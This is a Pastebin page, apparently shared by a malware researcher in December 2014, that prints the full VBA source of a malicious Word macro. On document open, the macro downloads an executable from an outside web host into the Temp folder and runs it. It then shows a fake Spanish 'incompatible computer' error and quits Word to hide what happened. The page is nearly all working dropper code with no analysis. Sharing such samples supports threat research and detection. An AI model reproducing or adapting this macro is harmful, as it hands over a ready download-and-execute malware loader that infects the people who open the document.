dynamoo

Malicious Word macro

Dec 17th, 2014
318
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
  11.     (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  12. #Else
  13.     Private Declare Function dfdfdfdfsdfsdf Lib "urlmon" Alias "URLDownloadToFileA" _
  14.         (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
  15. #End If
  16.    
  17. Sub AutoOpen()
  18.     URL = "http://www.milusz.eu/templates/default/00/ss.exe"
  19.     WHERE = Environ("Temp") & "\" & "test00010.exe"
  20.     DownloadStatus = dfdfdfdfsdfsdf(0, URL, WHERE, 0, 0)
  21.     CreateObject("WScript.Shell").Run WHERE
  22.        
  23.        
  24.         MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Equipo no compatible"
  25.  
  26. Application.DisplayAlerts = False
  27. Application.Quit
  28.  
  29. End Sub
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×